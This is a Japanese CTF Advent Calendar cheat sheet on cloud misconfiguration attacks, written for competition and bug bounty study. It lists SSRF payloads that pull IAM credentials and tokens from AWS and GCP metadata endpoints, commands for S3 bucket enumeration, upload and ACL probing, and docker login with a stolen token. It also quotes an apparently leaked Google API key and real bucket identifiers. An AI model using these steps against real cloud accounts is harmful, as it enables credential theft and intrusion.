この記事はCTFのWebセキュリティ Advent Calendar 2021の22日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
- 大前提「責任共有モデル」
- アプリケーション(利用者)側とプラットフォーム(クラウド)側での責任の境目
- これを意識して、アプリケーション側での対策を埋めていく
- Cloud Based Storage Misconfigurations -> Critical Bounties | by Mikey | Apr, 2021 | Medium
- 全般的なバグバウンティwriteup
- Public Buckets by GrayhatWarfare
- 丸見えになっているサイトが一覧で見られる
- Public Buckets by GrayhatWarfare
- 全般的なバグバウンティwriteup
AWS系
- AWSエクスプロイト/ペンテストツール
http://*.s3.amazonaws.com/
を開いてみてディレクトリリスティングされたら脆弱aws s3 cp proof.txt s3://[BUCKET_NAME] — no-sign-request
でファイルを置いてPoCできる
- aws-cliを使うのがお手軽。
- テスター
- AWS 診断を事例としたクラウドセキュリティ。サーバーレス環境の不備や見落としがちな Cognito の穴による危険性 - Flatt Security Blog
- IMSv2
- 以下手順で情報が抜ける
-
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
でTOKEN取得 -
curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
- これでdirectoryが抜ける?
-
curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/S3Role
- これで認証情報が抜ける
- ~/.aws/credentialsに手順3から情報を抜き出して配置
- aws s3コマンドが認証下で使える
- ref: Tenable CTF: Hacking Toolz | Debugmen
- SSRFで狙うエンドポイント (全部に
http://169.254.169.254/latest
がつく)/dynamic/instance-identity/document
リージョン情報とかアカウントIDとか抜ける/meta-data/
でメタデータをとってこれる/meta-data/iam/security-credentials/
クレデンシャルの一覧がとれる
/user-data
- インシデント/バグバウンティ
- Amazon S3バケットの設定ミスによる大規模な個人情報の流出
- IAMのアカウント設定の不備による不正侵入の発生
- Amazon VPCの設定不備による不正侵入の発生
- Escalating SSRF to Accessing all user PII information by aws metadata | by Santosh Kumar Sha (@killmongar1996) | Jun, 2021 | Medium
http://169.254.169.254/
接続確認http://www.owasp.org.1ynrnhl.xip.io/latest/meta-data/iam/security-credentials/Prod
[AccessKeyId, SecreatAccessKey, Token]を奪うhttp://www.owasp.org.1ynrnhl.xip.io/latest/dynamic/instance-identity/document
[instanceId, accountId, region]を奪う
- #905641 [OPEN S3 BUCKET] All uploaded files are public.
https://s3.amazonaws.com/backend-production-librarybucket-1izigk5lryla9/85abcc94-a7db-4529-b0aa-826e3026c8c1/1592856757262_camion2.svg
とあったら全部見れちゃうかも$ aws s3 ls backend-production-librarybucket-1izigk5lryla9
として応答を見てみる
AWSコマンドについて
- aws — AWS CLI 1.20.11 Command Reference
- 全般的に認証クレデンシャルが必要で、AWSアカウントが必要
- もし認証情報が得られたら、aws configureを使って入れて、好きなようにできる
aws s3
aws s3 ls s3://test-bucket
aws s3 cp test.txt s3://test-bucket
コピーする- アップロード時に権限を指定してアップロードできたりする
aws s3 cp [FILE] s3://[bucket_name] --acl public-read
- アップロード時に権限を指定してアップロードできたりする
aws s3 mv test.txt s3://test-bucket
moveするaws s3 rm s3://test-bucket/test.txt
削除するaws s3 cp s3://test-bucket/file.txt ./
awsから持ってくる
aws s3api
aws s3api list-buckets
s3のリストが得られるaws s3api get-bucket-tagging --bucket cleaningbucket-cf2be35
タグが見られる- grants
aws s3api get-bucket-acl --bucket test-bucket
- READ
aws s3api get-object --bucket test-bucket --key read.txt read.txt
- READ_ACP
aws s3api get-object-acl --bucket test-bucket --key read-acp.txt
- WRITE
aws s3api put-object --bucket test-bucket --key write.txt --body write.txt
- ダメ
An error occurred (AccessDenied) when calling the PutObject operation: Access Denied
- OK
"ETag": "\"1398e667c7ebaa95284d4efa2987c1c0\""
- ダメ
aws lambda
aws lambda list-functions
aws lambda list-tags --resource arn:aws:lambda:eu-west-1:957405373060:function:lambdaThrusters-8697c51
aws ec2
aws ec2 describe-tags
Amazon S3
- bucket-nameっぽいのをもらったら
aws s3 ls s3://0000001111111111111111
- CTFtime.org / CSAW CTF Qualification Round 2020 / Whistleblow / Writeup
- CTFtime.org / CSAW CTF Qualification Round 2020 / Whistleblow / Writeup
- CTFtime.org / CSAW CTF Qualification Round 2020 / Whistleblow / Writeup
- whistleblow-CSAW CTF Quals 2020. The second challenge in the web… | by Trevor saudi | Sep, 2020 | Medium
- bucket-nameが分かっていたら
http://s3.amazonaws.com/wrapper3000
みたいにアクセスしてみる- Contentsタグとかが正しく出ていれば認証無しで参照可能
- packageというファイルがあれば、
http://s3.amazonaws.com/wrapper3000/package
って感じでDL可能
- memo
- google dork
"site:s3.amazonaws.com" "target.com"
- GETが許可されていなくてもPUTで何も送らないとGETと同じような感じで取得可能
- CTFtime.org / Hacky Holidays - Space Race / Enumerating the cloud / Writeup
curl -X PUT https://g0341x75tb.execute-api.eu-west-1.amazonaws.com/logs
- google dork
- 普通に中身見たいとき
https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_abc123.js
ってあったらhttps://volgactf-wallet.s3-us-west-1.amazonaws.com
とすれば中身の一覧見られるかも
- S3はリージョンが同じなら同じIPになるから、Hostだけ書き換えてやればS3ストレージの参照先を変えることができる
- つまり、CRLFインジェクションでHost名がいじれるならファイルの参照先をうまく変えることができる
- '>">123: VolgaCTF 2021 Quals / Online Wallet, Static Site writeups
- 使えるコマンド
- バケット名を特定する方法
- S3を指していることは分かったが、ドメインが見つからないとき
- ドメインをgoogleで検索して、履歴からバケット名が流出してないか確認
- バケット内のオブジェクトの応答ヘッダーを調べて、バケット名が流出していないか確認
- 何とかしてディレクトリ列挙ができた場合、ファイルのrandom_keyが流出している場合がある
- このrandom_keyを指定するとリダイレクトで本物の(バケット名込みの)URLが得られる
- Bug Bounty Reports ExplainedさんはTwitterを使っています 「How bad can be an implementation of AWS S3 signed URL? The answer is it can be really bad. Watch my latest video to learn how @fransrosen hacked all files of undisclosed company for a $25,000 bounty. The video is sponsored by @detectify https://t.co/9xkNVgtIl9」 / Twitter
- 解説
- 6種類の脆弱タイプ
- 事例 GhostWriter
- Amazon S3の設定ミスを狙う攻撃、"GhostWriter"(大元隆志) - 個人 - Yahoo!ニュース
- 脆弱なS3にマルウェアをおいて、攻撃時にそれを持ってくる
- 未知のS3を辞書を使って探してくる例
- Playing With s3 — Leaks. Hi Everyone, | by Aswin Thambi Panikulangara | Jul, 2021 | Medium
- fuzzで探す
subfinder -d redacted.com > subdomains.txt
ffuf -u http://FUZZ.s3.amazonaws.com -w subdomains.txt
- waybackから持ってくる
cat subdomains.txt | waybackurls | grep s3.amazonaws
AWS系Chellenge/writeup
- AWS S3 CTF Challenges
- AWS x HackerOneのCTFやってみた(writeup) #hacker101 | DevelopersIO
- wanictf21spring-writeup/web/cf-basic at main · wani-hackase/wanictf21spring-writeup
- 参考になるwriteup
- プロキシ経由ではなく直接つなぎに行けば認証をbypassできるというもの
Google document系からの情報流出
- 共有URLから情報が漏れるかも
GCP
- FireStore
- firebase
- Firebaseにおけるセキュリティの概要と実践 - Flatt Security Blog
- #1066410 Google API key leaks and security misconfiguration leads Open Redirect Vulnerability
'https://firebasedynamiclinks.googleapis.com/v1/shortLinks?key=AIzaSyAw-SpLHVTIP3IFEIkckCuEmIhnUrY9OrQ';
みたいにgoogleapikeyがリークしているかも
- Challenges
- Writeups
- CTFtime.org / DownUnderCTF / Cookie Clicker
- ctf-writeups/DiceCTF2021/Watermark-as-a-Service at main · tlyrs7314/ctf-writeups · GitHub
http://metadata.google.internal/computeMetadata/v1/instance/:
Metadata-Flavor: Google
をつけないと見れない?
v1beta1
の場合は以下も見れる?http://metadata.google.internal/computeMetadata/v1beta1/instance/?recursive=true
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
- これにより
There is a docker image hosted on Google Cloud at gcr.io/dicegang-waas/waas
とアクセストークンが得られるので、取ってきて起動してみる$ docker login -u oauth2accesstoken -p "<token>" gcr.io
$ docker pull gcr.io/dicegang-waas/waas
$ docker run gcr.io/dicegang-waas/waas
- これにより